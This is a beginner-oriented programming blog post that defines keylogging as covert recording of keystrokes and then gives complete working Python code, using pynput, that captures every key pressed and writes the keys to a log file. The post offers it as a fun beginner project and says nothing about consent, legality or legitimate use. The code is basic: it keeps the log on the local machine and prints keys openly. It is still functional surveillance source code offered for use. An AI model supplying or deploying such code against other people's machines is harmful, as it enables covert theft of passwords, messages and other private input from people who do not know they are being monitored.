Well In this Post, We will Be Creating a Keylogger Using Python. And This is Going to Be Interseting Project And Any Beginner can Also Try This Project.
What is a Keylogger?
Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.
Modules Used In this Project:
pynput – This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported.
pip install pynput
Python Code:
# keylogger using pynput module
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
# removing ''
k = str(key).replace("'", "")
f.write(k)
# every keystroke for readability
f.write(' ')
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
# Stop listener
return False
with Listener(on_press=on_press,
on_release=on_release) as listener:
listener.join()
Read Also:
• Realtime Chat Application Socket.io
• Email Automation Using Python
Latest posts by Tanmay Sinha (see all)
- The JS Developer’s Podcast [EP: 2] Variables and Data Manipulation - October 15, 2024
- YouTube Channels to Learn Coding: Top 9 Picks That Will Make a You Master - October 10, 2024
- The JS Developer’s Podcast [EP: 1] Introduction to JavaScript - September 27, 2024
Pingback: QR Code Generator In Python - Mr Programmer
Pingback: JARVIS In Python | Ironman's JARVIS Using Python - Mr Programmer
Pingback: 10 Python Projects For Beginners | Best Python Projects To Build In 2022! - Mr Programmer